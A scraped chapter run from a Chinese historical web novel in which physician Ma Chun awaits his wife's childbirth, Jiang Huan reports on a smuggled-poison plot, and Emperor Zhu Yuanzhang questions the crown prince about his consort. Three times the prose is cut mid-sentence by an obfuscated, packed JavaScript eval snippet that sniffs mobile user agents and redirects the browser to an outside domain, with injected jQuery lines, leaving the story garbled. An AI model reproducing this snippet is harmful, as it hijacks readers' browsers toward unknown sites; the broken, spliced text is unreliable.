他没再刻意去感受胎动,那只手却稳稳地覆在妻子腹部最隆起的部分,仿佛在承托着什么世间最稀罕的珍宝。
四周静极了。
远处山间松涛的呜咽声隐隐传来,浑厚而悠长。
这声音本该带来空旷和冷寂,此刻听来,却成了此刻安宁的唯一背景。
医馆药棚下晾晒的药材在风中散发出阵阵清苦又回甘的独特气息。
几只不知名的山雀在篱笆外蹦跳,啄食着遗落的草籽,发出细微的喳喳声。
时光在这山村角落,似乎悄然慢了下来。
风过疏篱,送来一阵更为清冽的空气。
马淳站起身。“该回了,这风硬。”
徐妙云搭着他的手,动作有些迟缓地站起来。
就在这起身的刹那,腹中的小家伙像是被惊扰,又或是舒展筋骨,猛地鼓动了一下,位置很高,几乎是顶着徐妙云的肋骨下方。
力道不轻,让徐妙云身形微微一滞,低低吸了口气。
马淳的手立刻稳稳托住她的肘弯,“怎么了?”
“这小东西……”徐妙云失笑,用手按了按方才被踢中的地方,语气带着点嗔怪,“劲儿越发大了。你说得对,是该回去歇着了。”
她任由马淳小心地扶着,慢慢往温暖的屋子走去,微微前倾着身体,小心翼翼地迈着步子。
八个多月的身子,每一步都需要格外留意。
三天后,一个身影轻车熟路地穿过医馆后院篱笆的小门。是蒋瓛。
马淳正在屋檐下手持小石杵,在药钵里研磨一味药粉,细碎的声响和着微寒的空气。见他进来,只略略抬了下眼皮,手上的动作并未停。
蒋瓛走近几步,便站定在廊下,目光扫过院中各色晾晒的药材架,随口问道:“夫人可安好?”
“尚可。”马淳停下手中石杵,拿起一块干净的白布擦擦手,“近几日睡得不**稳,饮食也略减了些。”
蒋瓛微不可察地点了下头,算是对马淳告之徐妙云情况的回应。
随即,他目光转向别处,仿佛只是随意闲聊。
“江南那几家的底,摸得差不多了。”他的语气平板,像是在述说一件寻常公务。
院外松涛声穿林而过,更显此地寂静。
马淳没接话,只静待下文。
“昌隆远洋陈家那条线上的人,很硬。骨头敲碎了一半,才撬出点有用的。”蒋瓛眼神里没什么波澜,“王家那条断线,算是续上了几处。他们这些年走的远海货,不少是‘天泽兴隆栈’的旧库底子,散出去的杂项,里面就有那‘杂木’。”
他顿了顿,特意加了两个字,“黄樟。”
从江南几大海商的走私链条,到太医院库档里模糊的记载“域外杂木”,再到如今蒋瓛撬出的明确指向——“黄樟”。
这些来自南方湿热密林的毒木,被隐秘地运载上那无法无天的海船,避开市舶司的重重关卡,悄无声息地登陆,最终流入深宫,化为**无形的“温玉散”。
“蛇有蛇道。”马淳拿起石杵,继续之前未完的研磨,“断了头,身还能跳弹一阵。打草惊蛇,不如让它以为尚在草中。”
蒋瓛嘴角牵起一个几乎没有弧度的弯“惊是迟早要惊的。只不过,要看怎么个惊法。让它自己慌起来,比什么都快。”
蒋瓛收回目光,口吻也随意起来:“陛下前日问起夫人孕中安稳,让带了句话。”
马淳研磨的动作慢了下来。
“陛下说,”蒋瓛顿了顿,一字一句,“该预备的稳婆人手,太医院可随时抽调顶尖的过去。让你安心,务必保她们母子平安顺遂。”
马淳静立片刻,“微臣,谢陛下圣恩。”
蒋瓛看着他一揖到底的姿态,没再多言,只道:“我走了。南边事杂,盯着的人须臾离不得。”
他转身便走,与来时一样悄无声息,背影
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039568|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
很快消失在篱笆门外。
檐下又恢复了寂静。
……
应天。皇城。东宫深处。
此处门窗紧闭,厚实的锦缎帷帐低垂,层层叠叠,空气弥漫着一股浓得化不开的冷香和汤药混合的复杂气味,熏得人头晕。
一盏孤零零的宫灯在墙角燃烧。
咣当!
一声尖锐刺耳的瓷器碎裂声猛地打破了寂静!
“娘娘息怒!娘娘息怒!”
一个鬓发花白的老嬷嬷几乎是应声扑跪在湿漉漉的药汁和碎瓷片旁,顾不上被尖锐碎片划破膝盖的可能,额头重重抵着冰冷的砖地,枯瘦的身体因极度惊惧而微微颤抖,声音带着哭腔。
“消息……消息也是刚刚递进来的……底下人拼了命……才递到老奴手上……”她喘着气,语无伦次。
“说!”吕氏的声音显得压抑而沙哑。
她的腿已经瘸了快半年了,依旧没有多少好转。
嬷嬷猛地打了个寒噤,不敢有丝毫犹豫:“是……是江南那边……松江府……宁波府……泉州府……到处……到处都在抓人!抓的都是大商号主家!锁链子一串一串地往府衙拖……查抄家产……问询海路……港口……船队……”
她吞咽了一下,声音抖得不成样子,“宫里……宫里的风声……说是……源头就卡在……卡在他们私造的……私造的……药材路上……”
“呵……呵……药材?”
那帷帐后的声音陡然拔高。
“张阔海那个废物骨头都烂了多久了!吴全那个狗东西也成了海里寻不见的水鬼!人都死光了!死绝了!拿什么查?拿什么查!”
那声音越拔越高。
“就凭那几个海里翻船的贱商?凭他们兜里那几两沾着铜臭的碎银子?他们也配攀扯?他们也配?!”
“咳咳……咳……咳咳咳……”
一阵撕心裂肺的呛咳从帷幔后爆发出来,仿佛要把肺都咳出来。
老嬷嬷骇然地抬起头,只见那厚重的锦缎帷幔猛地一阵剧烈晃动!
一只枯瘦得如同鸟爪般的手,从帷幔缝隙中伸出!
五指箕张,指甲修剪得平整却透着一股灰败的青白。
那只手狠狠揪住帷幔边缘,手背上青筋虬结。
那人穿着玄色暗纹的宽大寝衣,衣料滑落处,那条僵死的、不能弯曲的左腿以一种不自然的姿态半露着,裹在绸裤下显得异常瘦削、僵直,皮紧贴着骨头。
那手臂的主人似乎用尽了全身气力,才得以在激烈的呛咳与失控的喘息中,“他们……凭什么?……谁敢……查?谁敢……查到本宫头上来?!”
老嬷嬷吓得面无人色,魂飞魄散,重新将头死死磕在地上,嘴里反复地、“娘娘息怒……娘娘保重玉体……保重玉体……”
……
第224章老朱:动咱皇嗣,杀他个血流成河
夜色墨浓,乾清宫西暖阁内却灯火通明。
厚重的殿门被侍者从外面小心推开。
一个身影迈步进来,是太子朱标。
他身上仍穿着处理政务的常服袍衫,眉眼间带着风尘仆仆后的细微疲惫。
但那疲倦之下,是岩石般沉稳的内核,行走间步伐无声而稳。
“父皇。”朱标在御案前数步站定,一丝不苟地躬身行礼。
御案后,朱元璋抬起眼。
他面前的奏章堆叠如山,一封摊开着,正是锦衣卫关于江南海商串供的最新密报。
皇帝的目光越过案卷,落在长子身上。
没有寒暄,一句问话突兀地砸下:“标儿,吕氏的事,你究竟知道多少?”
朱标维持着行礼的姿势,没有立刻回答。
朱元璋也不催促。
他只是向后靠在蟠龙椅背里,指关节有一下没一下地敲着檀木扶手。
片刻,朱标直起身。
他拂了拂衣袍下摆,极其自然地寻了帝座下首的锦墩坐下。
坐姿端正挺直,目光才迎向父亲。“父皇近日劳神。”
他开了口,声音依旧平缓,听不出波澜。
“这些阴私之事,扰了圣心,是儿臣不孝。”
朱元璋眼神锐利如鹰隼,紧盯着儿子:“少给老子说这些弯弯绕绕的屁话!”
“你是储君,这东宫就是你的一亩三分地!风吹草动,猫叫狗跳,哪一样能真捂到你耳朵外面?”
朱标脸上那层惯有的温润并未褪去。
他微微垂眼,目光落在朱元璋敲击扶手的指节上。
“雷霆雨露,皆为君恩。”朱标缓缓道,“东宫若有罪,儿臣身为储君,自是首当其冲。儿臣领罚,无怨无悔。”
皇帝的目光在朱标脸上反复逡巡,像是在衡量,在研判。
他太了解自己这个儿子了。
宽厚的表象下,是经过他一手调教、淬炼出的坚韧心肠。
处理胡惟庸案时,牵丝引线,清除政敌,甚至比他还缜密几分。
“好啊,”朱元璋忽然扯了扯嘴角,“领罚?领什么罚?你有罪过吗?”
朱元璋声音冷硬:“刀都落到她头上了,你还要揣着明白装糊涂?”
他身体前倾,“告诉咱!那些年常妃的事,东宫的动静,那些年她往太子妃位置上爬时用了多少手段!你真的一点风声没听见过?一点影子都没闻到过?”
朱标迎着那目光,轻轻抚平了锦袍袖口上那片细微的褶痕,动作舒缓,像拂去尘埃。
“儿臣在东宫,掌国事,理万机。”他的声音平稳,“于常妃薨逝,自也有失察之责。此其一。”
“吕氏主掌内闱,有损妇德,为夫君者疏于约束,难辞其咎。此其二。”
“圣裁之下,儿臣俯首受戒,心无怨尤。”
朱元璋目光猛地一缩。
好一个“心无怨尤”!
这是要把所有暗影里的魑魅魍魉,包括吕氏的生死,都轻飘飘地摆到了明面上的台案!
朱标这话,并非推诿,是将东宫整个剖开,任君审视。
将所有可能隐匿的污秽,都摊在了乾清宫冰冷的地砖上。
朱元璋胸口剧烈起伏了一下。
“这么说,你早知道她不干净?”
“父皇。”朱标的声音依旧沉静如古井,“东宫,虽为储君之地,亦是陛下之宫。宫墙内外,自有天子耳目。有些风,能察觉。”
“然为人臣子,当守分际;为人子者,当全亲恩。”
“洞察,不等于可妄为。”
“父皇执天下圭臬,秉日月正气。东宫一点薄面,纵有损毁,不过微末沙砾。”他语速不变,字字却重若千钧:“然国法如山,乃社稷柱石。无论牵涉何人——皇子、龙孙、或是……儿臣本人,法度威严,不可因人动摇分毫。父皇裁决,即是天理,即是国法。臣,无话可说。”
一股无形的风,在暖阁内陡然生出。
朱元璋盯着自己这个长子。
长久地沉默着,御案上摊开的密报,是锦衣卫呈上的关于吕氏毒害常妃、勾结海商的如山铁证。
朱标的话,平静之下,是滔天的决心与冷酷。
朱标在告诉他——不用考虑我。
天家法度第一,纵然要杀的是我的太子妃,纵然牵连我东宫颜面,皆可。皆——为社稷。
不知过了多久。
朱元璋那双饱含压迫、似要将人看穿的老眼,缓缓移开了。
他靠回蟠龙椅深处。
“坐吧。”他说了一句。
朱标依言重新落座,腰背依旧挺得笔直。
朱元璋道,“你的难处,咱明白。但东宫,是国本。”
“国本不净,社稷难安。”
“这污秽,必须拔了。”
“怎么做,咱心中有数,你心里头那点念想,”他直视朱标双眼,“咱也清楚。”
朱标眉梢几不可察地动了一下,随即又归为沉寂。
朱元璋收回目光,“回去吧。忙你的政务。这件事……有咱看着!”
“儿臣告退。”朱标起身,行了一个毫无滞涩的大礼,步履稳健地退了出去。
朱元璋注视着殿门的方向,仿佛仍能看到朱标挺拔的背影。
“妹子出来吧。”
朱元璋的声音砸在空寂的大殿里。
沉重的明黄色帷幔被无声地撩开一角。
马皇后缓缓步出。
她的脸上没有平日温和的笑意,取而代之的是一种前所未有的凝重。
这种凝重,比面对胡惟庸案时更甚,比空印案爆发时更深。
她没有立刻说话,只是走到矮几旁,拿起铜壶,添了新水,放回炉上。
朱元璋的目光始终落在她身上。
“妹子,你都听见了?”他问。
“听见了。”马皇后没有否认,她走到朱元璋对面的锦墩坐下,“听见了你和标儿的每一句话。”
“也好。”
朱元璋声音沙哑,“免得咱再费一遍口舌。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039569|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
r>“妹子,你有什么想说的?”
马皇后抬起头,烛光在她眼中跳跃,映照着那化不开的忧惧。
“重八,”她开口,“此案若掀开,牵连之广,祸乱之深……远非空印案可比。”
朱元璋的指节敲在龙椅扶手上。
“你知道?!”他逼视着她,“你知道这背后牵扯的是什么?!”
“臣妾不敢妄言全貌。”马皇后迎着他的目光,没有丝毫闪避,“但从标儿方才的话,从陛下您连日来的布局,从蒋瓛查抄的汪家……再想到当年常丫头那笔糊涂账……”
她深吸一口气。
“这绝不是吕氏一个深宫妇人可以独自做下的。”
“她背后这张网,织的,是动摇国本的阴谋!”
“是蛇蝎!”朱元璋从齿缝里挤出这几个字,“是毒蛇!是要挖断咱大明朝根基的毒蛇!”
马皇后缓缓点头。
“重八,正是这张潜伏日久、深入骨血的毒网,才最为致命。空印案,终究是贪蠹侵蚀法度。那些人贪的是钱,是权,动摇的是吏治的根须。”
她的声音更低,“可吕氏这条线,现在露出来的冰山一角,就指向了走私海商。他们勾结的是**,祸乱的是宫廷!意图动摇的,是我大明朝最根本的传承之序——储君,甚至……未来的天子!”
“他们送进来的不是奇珍异宝,是夺命的**!温玉散能害死常妃,差点害死雄英,这次更想害死妙云母子!”
“一旦查实那所谓‘天泽兴隆栈’背后更大的根脉,一旦揪出那个能精准配出温玉散的‘鬼医’究竟在为谁效力……”
“重八,”马皇后声音里带着一丝疲惫与心疼,“这案子若继续深挖……它要杀的人,要灭的门……”
“……怕是会堆成尸山血海,远超当年胡惟庸。牵连之巨,动摇之深,恐非一时能够平息。”
朱元璋猛地站起身!
“他们要动的是朕的儿子!是朕的嫡长孙!是未来的国祚根基!”
“这些人藏在暗处,吃着大明朝的饭,穿着大明朝的衣,却要断送大明朝的根!要把毒物送进朕的宫廷,送进太子的东宫,去害朕儿媳妇、害朕的皇嗣!”
他缓缓转过身,眼睛里翻涌着近乎实质化的暴怒和刻骨的杀意。
“朕给过他们机会!”
“胡惟庸案!空印案!朕哪一次不是想抽身止乱?!朕哪一次不是念着杀戮过重?!可这些魑魅魍魉!何曾悔改?!”
他的手指遥遥指向应天府南城的方向,那里仿佛连接着汪家、陈家那些巨商的府邸。
“他们贪不够!杀不绝!只当朕是泥菩萨!”
“那好!”朱元璋的声音几乎穿破殿顶,“那就让他们看看!让这天下人都看看!”
“看看朕这柄刀,还利不利!”
“看看朕杀起人来,会不会手软!”
马皇后静静地看着他,眼中只有对眼前这个男人滔**火的理解……
第225章十月怀胎!徐妙云终于生了!
转眼,十个月已过。
徐妙云要生了。
产房位于徐国公府一处特意准备的暖阁内,门窗紧闭,厚厚的棉帘隔绝了寒意,也模糊了内里所有的声响。
然而门外回廊下、暖厅中,那几乎凝滞的气氛,比寒风更刺人。
朱元璋背着手,踱着步,发出规律而沉重的回响。
这位横扫六合的帝王,此刻眉头紧锁,目光如同巡视疆场的鹰隼,时不时掠过那扇紧闭的房门,威严的脸上绷着一条看不见的弦。
他没说话,但那份无形的焦躁,让整个暖阁都仿佛矮了一截。
朱标立在朱元璋身后几步之遥,他身姿依旧挺拔,如同雪中的青松。
年轻的太子面沉似水,眼神落在角落的花盆上,似乎专注于那盆寒梅的倔强。
老丈人徐达,这位纵横沙场的开国虎将,此刻抱着臂膀,像一尊冷峻的铁像,靠在朱漆圆柱旁。
他平视前方,目光深邃,刻满风霜的脸上一片沉静,仿佛在推演一场重要的战役。
只有他绷紧的下颌线,才能窥见一丝不同寻常的紧绷。
小舅子徐辉祖和徐增寿两兄弟站在徐达身侧,身形笔直如枪。
徐辉祖面色紧绷,目光灼灼地盯着产房,眉宇间满是忧色。
徐增寿则显得更加年轻气盛一些,双手微微攥拳,不时地踮脚又放下,难掩那份焦灼的等待。
小姨子徐妙锦则紧挨着马皇后。
她一张俏脸雪白,手指紧紧绞着自己的帕子,眼睛瞪得溜圆,一瞬不瞬地盯着那扇门,仿佛要将门板看穿。
每一次产房内模糊传来的低呼都让她身体猛地一抖,小脸更白一分。
傅忠、傅让兄弟,吴杰、李景隆这些与马家、徐家亲近的勋贵子弟,或坐或立,散在暖厅各处,大气不敢出。
厅内只有朱元璋踱步的脚步声和偶尔响起的更漏滴水声。
暖炉烧得很旺,炭火在银霜炭里噼啪作响,烘得一室如春,却驱不散众人心头的寒意。
一片沉寂中,马皇后温厚的声音是唯一的暖流。
她坐在铺着软垫的锦榻上,眼神始终看着暖厅另一侧那个身影——马淳。
马淳坐在一张靠背椅上,背脊挺得笔直,双手规规矩矩地放在膝上。
他的脸上一如既往地平静,看不出太多情绪。
那双素来深邃洞察的眼眸,视线死死锁住那扇紧闭的房门,仿佛要穿透厚重门板,去捕捉里面的变化。
额角渗出细密的汗珠,在炉火的微光下显得晶莹。
他的嘴唇微抿,呼吸比平日略微急促一丝,却又被他刻意压制,胸膛起伏的幅度极小。
马皇后起身,走到马淳身边,手掌轻轻覆在他冰凉且紧绷的手背上。
“阿淳。”她的声音温和,带着一种抚慰人心的力量,“莫慌。你阿姐我生了这几个孩子,心里有数。妙云身子骨好得很,这几个月调养得精细,胎儿稳当,必能平安。”
马淳的身体几不可察地微微一震,他慢慢转过头,迎上马皇后慈祥而安稳的眼神。
“阿姐…………”马淳的声音有些发干,不似平日清朗,带着一丝他自己都未曾察觉的微颤。“我……知道。”
他目光不由自主又飘向产房,“药理推演,千次万次,结果如何,心中有算。妇人生产过程,各类难关,应对之法,烂熟于胸……”
他像是在说给马皇后听,又像是在竭力说服自己:“我救过难产的妇人,安抚过惊惶的产家,指导过手足无措的稳婆……每一处险隘,每一道难关……”
马淳的手,一直规规矩矩放在膝上的手,无意识地抬起来,指尖触碰到腰间悬挂的一个小小锦囊。
那里有他习惯性随身携带的、应对各种突发急症浓缩的急救丹药。
“这些……我都懂。”他的眼神空茫了一瞬,“真的都懂……都见过……”
马皇后轻轻叹息一声,用力握了握他冰冷的手。
“懂是一回事,孩子。担着那撕心裂肺之苦的,不是旁人;等在门外不知里面至亲是吉是凶的,不是你往日救治的病患家属。”她直视着弟弟的眼睛。
“这是头一次,躺在里面的人是你的结发妻子;那将要降生、将第一声啼哭送进你耳中的,是你的骨肉,你血脉的延续。”
马皇后的声音马淳的心上。
“丈夫……父亲……”她顿了一下,“这两个词的分量,是这天底下最难预演明白,最难算清脉案的责任。你的紧张,慌怕,都是应当的,阿姐懂。”
马淳猛地吸了一口气,仿佛被这温柔的话语烫了一下。
他垂下眼帘,那一直强撑的镇定外壳,在至亲姐姐柔和却精准
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16045852|176263||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的洞察下,裂开了一道缝隙。
这是属于一个初次等待做父亲的男人,最本能的、毫无遮拦的恐惧和对未知结果的忧惶。
他一直知道风险,却在此刻感受到那风险的重量是如此鲜活、如此沉重地压在他的心口,沉重到让他几乎喘不过气。
产房内压抑的呜咽和产婆清晰沉稳的指令声隔着门板再次隐约透出,像钝刀子割在绷紧的弦上。
马淳像是被针扎了一下,整个人骤然僵住。
身体里那份属于医者马淳的冷静逻辑、丰富经验似乎在瞬间被抽离,留下一个最纯粹的、名为丈夫和父亲的男人,在这寒冷的冬夜里,等候着命运的宣判。
他放在锦囊上的手指,终于控制不住地微微颤抖起来。
时间仿佛被拉长。
每一滴更漏落下的水声,都清晰得如同重锤敲在心头。
暖阁内炉火炽热,空气仿佛凝固,沉甸甸地压在每个人的肩头。
朱元璋踱步的频率慢了下来,最终停在暖阁中央,负手而立。
朱标收回了放在花盆上的目光,静静地端起了旁边桌上已然半凉的茶盏,指尖却同样有着细微的停顿。
徐达抱着臂膀的手指紧了紧。
徐增寿烦躁地抓了抓头发,徐辉祖将手用力按在他肩上。
徐妙锦手中的帕子已被汗水和紧张揉得不成样子。
李景隆抿着唇,眼观鼻鼻观心。
吴杰的眼神在暖阁内的紧张氛围和马淳几乎静止的身影间来回移动。
就在这份紧绷即将到达某个临界点时——
“呜哇——!”
一声洪亮无比、仿佛用尽全力宣告存在的婴儿啼哭声,骤然撕开了暖阁内沉重无比的寂静!
这声音如此嘹亮,充满了初生牛犊般的力量感,瞬间冲破了厚厚的门窗和众人紧绷的心弦。
如同绷紧的弓弦被骤然松开,又仿佛惊雷炸开厚重的冰面!
马淳的身体猛地震动了一下,整个人几乎是条件反射般从椅子上弹了起来。
他脸上的平静面具轰然碎裂,瞳孔因震惊而骤然放大,里面瞬间涌上的巨大、不可置信和一种近乎狂烈的激动,将之前所有的阴霾一扫而空!
“生了!”
“生了!生了!”
暖阁内一直屏住呼吸、如同被冻住的人们瞬间活了过来……
第226章第一次为人父的马淳激动到手抖!
朱元璋猛地转过身,紧绷的眉峰骤然舒展,脸上掠过一丝压抑不住的光彩。
朱标端着茶盏的手停在半空,眼中是松了口气的释然,嘴角终于牵起了一个浅浅的、真心的弧度。
徐达紧抱的双臂瞬间松开,如同卸下了万钧重担,脸上刀刻般的线条也柔和了三分。
徐辉祖长长地吐出一口气,按在弟弟肩头的手放松下来。
徐增寿则直接跳了起来,脸上是狂喜:“生了?!我外甥出生了?!”
徐妙锦紧紧捂住嘴巴,泪水毫无征兆地汹涌而出,那是喜悦的泪水。
李景隆、吴杰等人脸上也绽开了笑容,低声而兴奋地议论起来:“听这哭声,中气十足!好!好啊!”
“菩萨保佑!祖宗保佑!”马皇后双手合十,声音带着轻微的颤抖和无比的欣慰,眼眶瞬间湿润。
嘎吱——
产房的门从里面被推开一道缝。
一个鬓角微湿、一脸疲惫却眉开眼笑的稳婆探出头来。
她身上还带着产房特有的温热气息和淡淡血腥味,声音却透着无比的轻松和喜气:“禀陛下,娘娘,太子殿下,各位老爷!恭喜!徐夫人生了!是位小公子!母子平安!小公子声音洪亮,健壮得很呐!”
“呼——”一片整齐的、长吁一口气的声音在暖阁内响起。
马淳几乎是瞬移到了门前,一个趔趄,甚至险些撞到门框。
他根本顾不上礼仪,眼中只死死盯着那稳婆:“妙云!妙云如何?!”
稳婆看着这位名满天下的院判大人此刻失态的样子,又想到里面那位坚韧的夫人,笑容更深:“夫人安好!产程是累了些,但精神尚佳,刚看了一眼小公子,就含笑睡过去了。请国公爷放心!”
随着稳婆的话音落下,马淳眼中的炽亮光芒猛地收敛。
仿佛支撑他脊梁骨的那根弦被抽走了一半,一股混杂着疲惫和喜悦的暖流瞬间冲垮了他强撑多时的堤坝。
他身体晃了晃,向后踉跄了半步,随即被紧跟上来的朱标和徐辉祖稳稳扶住。
他没有摔倒,只是下意识地抬手,用指关节压住了自己紧闭的双眼。
片刻,一滴水珠,沿着他苍白的指节边缘,悄无声息地滑落。
不是嚎啕,不是哽咽,只是长久紧张、担忧、恐惧的堤坝在最终被巨大安全感冲垮后,泄出的一滴洪流。
压在心头十个月,尤其是这难熬一天一夜的大石,终于彻底落地。
这一刻,他不再是太医院那位医术通神、喜怒不形于色的院判。
也不是高高在上的国公爷。
他只是一个劫后余生、初为人父的男人。
他的手终于不再颤抖,稳稳地放下了。
暖阁里弥漫着劫后余生的轻松气氛。
婴儿洪亮的啼哭声透过门缝隐隐传来。
稳婆的报喜,让所有人的脸上都露出了如释重负的笑容。
朱元璋踱开两步,走到暖阁中堂那张沉重的酸枝木太师椅上坐下,神情间那份帝王的冷凝尽数化为一种难以言喻的欣悦和不易察觉的得意。
他抬了抬手,声音带着难得的爽朗:“好!咱的大侄子!声音都透着那股子悍气!重赏!产房内外一应人等,皆有重赏!”
众人连忙躬身行礼:“谢陛下!恭喜陛下(贺喜太子殿下)(贺喜魏国公)(贺喜徐国公)!”
恭贺声此起彼伏,暖阁内喜气洋洋。
马淳在那滴泪滑落后,仿佛卸下了千斤重担。
他任由朱标和徐辉祖扶着站稳,深吸了一口气,极力平复着翻涌的情绪。
他转向稳婆,声音恢复了惯常的平稳,却依旧带着一丝沙哑和急迫:“有劳。我……我何时可以进去看看夫人?”
稳婆笑着躬身:“快了快了,里头正在清理。夫人只是累极睡过去了,无碍的。请国公爷稍候片刻。”
徐达也走了过来,这位在千军万马前也面不改色的魏国公,此刻眼眶也有些微红。
他伸出手掌,在马淳的肩头用力拍了拍,一下,两下,没有言语,只有武将之间沉甸甸的、最厚重的信任与安抚。
这时,另一位年长些的嬷嬷小心翼翼地抱着一个包裹严密的襁褓走了出来。
襁褓里那个初生的小生命已经停止了震天的大哭,正微微嘟着小嘴,好奇地感受着这个明亮而嘈杂的新世界。
所有人的目光瞬间被吸引过去。
“小公子来了!”嬷嬷喜盈盈地说着,就要抱给近前的马皇后和朱元璋看。
马皇后快步上前,动作轻柔地揭开一点点襁褓的边缘,探头看去,脸上的笑意如同盛开的牡丹:“好俊的小模样,瞧这眉眼,像妙云!这鼻子嘴巴,倒是像阿淳……”
朱元璋也站了起来,凑过去看了一眼,难得地点点头,眼中是纯粹的喜爱,朗声道:“这小虎崽子!”
“让我看看!让我看看!”徐妙锦再也忍不住,提着裙子跑了过来,挤到马皇后身边,伸着脖子朝里瞧。
当她看到那皱巴巴、红彤彤却在她眼中无比可爱的小脸时,泪水又盈满了眼眶:“小外甥……真好……真好啊……”
徐辉祖和徐增寿也围了上来,兄弟俩伸着头,又不敢靠得太近,生怕惊扰了这个小家伙。
徐增寿看得眼睛发直:“哥……这也太小了……不过声音真大!”
引得徐辉祖哭笑不得地给了他一个胳膊肘。
朱标站在稍后一些,脸上带着温和的笑意看着这一切。
皇长孙朱雄英出生时的喜悦重现心头,但他知道,此刻的光环属于马淳和这个小生命。
傅忠、傅让、吴杰、李景隆几位勋贵子弟也都在旁边轻声笑着,目光柔和地看着那被众星捧月的小小襁褓。
马淳却没有立刻去看孩子。
他只远远瞥了一眼,目光便焦急地越过人群,再次投向那扇依然半开的产房门缝。
他需要亲自确认那个为他承受了如此巨大痛苦的爱人安好。
孩子在那里,他跑不了,但此刻,那个用尽全身力气带给他这份至宝的女人,才是他最揪心的牵挂。
嬷嬷似乎察觉到他的急切,抱着孩子转向他,满脸笑容:“国公爷,您抱抱小公子?”
所有人的目光都投向了马淳。
马淳的身体僵硬了一下。
抱?
这个念头在他脑海里瞬间闪过,却立刻被汹涌的陌生感淹没。
他救过无数垂危的生命,却从未接触过如此柔弱、如此鲜嫩的新生儿。
那软若无骨的小小身体,在他一贯执刀握针、沉稳无比的手指触碰下,会是一种怎样的感觉?
他下意识地在自己的衣袍上蹭了蹭掌心,仿佛那里有什么看不见的灰尘。
然后,他伸出微微有些颤抖的双手,用一种近乎刻板的、捧起珍贵药王匣子般的姿势,极其小心地、笨拙地从嬷嬷手中接过了那个用锦缎襁褓包裹严实的小小身体。
好轻!
这是马淳的第一个念头。
轻得像一片羽毛,又像一个会烫手的暖玉,带着温热的生命气息。
他僵直地站着,手臂小心翼翼地托着臂弯里的重量,一动不敢动。
目光紧紧地锁在怀中那张皱巴巴的小脸上,那上面有着新生命特有的红润。
紧闭的双眼,微微翕动的鼻翼,还有无意识地咂动的小嘴。
一种极其陌生又无比新奇的感觉瞬间击中了他。
仿佛有微弱的电流从心口蔓延开,酥麻了全身的神经。
他的手指僵硬地动了动,似乎想碰碰那嫩得不可思议的脸颊,却在几毫米外堪堪停住,生怕自己粗糙的指腹会划伤这世间最新鲜、最娇嫩的皮肤。
这小心翼翼、珍而重之的姿态,让一旁的马皇后看得眼圈又红了。
她掩唇轻笑着打趣:“你这抱孙不抱子的太医院判,今日也要开张了?瞧这姿势,跟捧着块传国玉玺似的!松一点,别把孩子箍着了!”
朱元璋也难得地哈哈大笑起来:“不错!不错!这头一遭当爹,都一个德行!”
暖阁内顿时响起一片善意的哄笑声。
马淳的脸微微发烫,却也在笑声中渐渐放松了一丝。
他试着笨拙地调整了一下手臂的姿势,让怀中的小生命躺得更舒服一点。
孩子似乎感觉到了些许移动,小眉头轻轻皱了一下,小嘴撇了撇,发出一声含混不清的哼唧,又沉沉睡去。
这一声微弱的哼唧,却像一道暖流,瞬间冲刷掉了马淳所有的不安和僵硬。
他的手臂奇迹般地找到了合适的角度,稳稳地、带着一种奇妙的韵律微微轻摇着。
他低下头,看着臂弯中这不可思议的生命奇迹——他和妙云的血脉相连、在世间留下的最新鲜的印记。
一种奇异的感觉在胸腔里鼓胀,酸酸涩涩,又温温热热,满得快要溢出来。
仿佛穿越千年的孤舟,终于在风雨飘摇后,找到了最坚实的锚地。
就在这时,产房内传来一个宫女清晰的声音:“夫人醒了!”
马淳骤然抬头,眼中光芒大盛。
他甚至忘了怀里的孩子,猛地迈步就要向产房走去。
“哎,孩子……孩子……”马皇后在后面急了。
马淳这才想起手里还有孩子,赶紧交给姐姐。
姐姐小心接过大侄子,这才放马淳进去……
第227章初为人母的徐妙云累坏了!
厚重的产房门在马淳身后无声地合拢。
门内是一个被炉火烘得温热的空间,空气里弥漫着淡淡的血腥气和草药特有的混合气味。
但这并未给此地增添污浊,反而有种肃穆的气息。
他几乎是屏着呼吸,步子迈得又轻又急,几乎没有声音。
他的目光穿透光线微微昏暗的内室,落在那张宽大的雕花拔步床上。
徐妙云躺在层层柔软的被褥中央。
她的脸是褪尽血色的苍白,像上好的细瓷,脆弱得让人心慌。
嘴唇也失去了往日的红润,显得有些干涩,微微起皮。
几缕被汗水浸透的黑发湿漉漉地贴在汗湿的额头和鬓角,让她此刻看起来格外纤弱、疲惫不堪。
即便在沉睡中,那对曾清澈如泉水的眼眸紧闭着。
她的眉心也残留着一丝不易察觉的蹙起。
马淳的心,在看清妻子面容的一瞬间,骤然被一只无形的手狠狠攥紧!
那是一种尖锐的疼,如同亲眼看着最珍贵的瓷器历经烈火灼烧,裂痕遍布。
